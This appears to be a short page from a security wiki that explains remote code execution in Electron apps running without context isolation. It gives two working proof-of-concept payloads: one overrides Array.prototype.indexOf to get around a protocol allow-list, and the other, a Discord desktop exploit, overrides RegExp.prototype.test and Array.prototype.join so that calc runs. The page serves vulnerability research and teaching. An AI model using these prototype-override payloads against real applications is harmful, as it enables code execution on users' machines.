Electron contextIsolation RCE via preload code

Reading time: 3 minutes

Example 1

Example from https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

This code open http(s) links with default browser:

Something like file:///C:/Windows/systemd32/calc.exe could be used to execute a calc, the SAFE_PROTOCOLS.indexOf is preventing it.

Therefore, an attacker could inject this JS code via the XSS or arbitrary page navigation:

<script>
  Array.prototype.indexOf = function () {
    return 1337
  }
</script>

As the call to SAFE_PROTOCOLS.indexOf will return 1337 always, the attacker can bypass the protection and execute the calc. Final exploit:

<script>
  Array.prototype.indexOf = function () {
    return 1337
  }
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Check the original slides for other ways to execute programs without having a prompt asking for permissions.

Apparently another way to load and execute code is to access something like file://127.0.0.1/electron/rce.jar

Example 2: Discord App RCE

Example from https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via DiscordNative.nativeModules.requireModule('MODULE-NAME'), into the web page.
Here, I couldn't use modules that can be used for RCE directly, such as child_process module, but I found a code where RCE can be achieved by overriding the JavaScript built-in methods and interfering with the execution of the exposed module.

The following is the PoC. I was able to confirm that the calc application is popped up when I call the getGPUDriverVersions function which is defined in the module called "discord_utils" from devTools, while overriding the RegExp.prototype.test and Array.prototype.join.

RegExp.prototype.test = function () {
  return false
}
Array.prototype.join = function () {
  return "calc"
}
DiscordNative.nativeModules
  .requireModule("discord_utils")
  .getGPUDriverVersions()

The getGPUDriverVersions function tries to execute the program by using the "execa" library, like the following:

module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== "win32") {
    return {}
  }

  const result = {}
  const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`

  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
  } catch (e) {
    result.nvidia = { error: e.toString() }
  }

  return result
}

Usually the execa tries to execute "nvidia-smi.exe", which is specified in the nvidiaSmiPath variable, however, due to the overridden RegExp.prototype.test and Array.prototype.join, the argument is replaced to "calc" in the _execa_'s internal processing.

Specifically, the argument is replaced by changing the following two parts.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55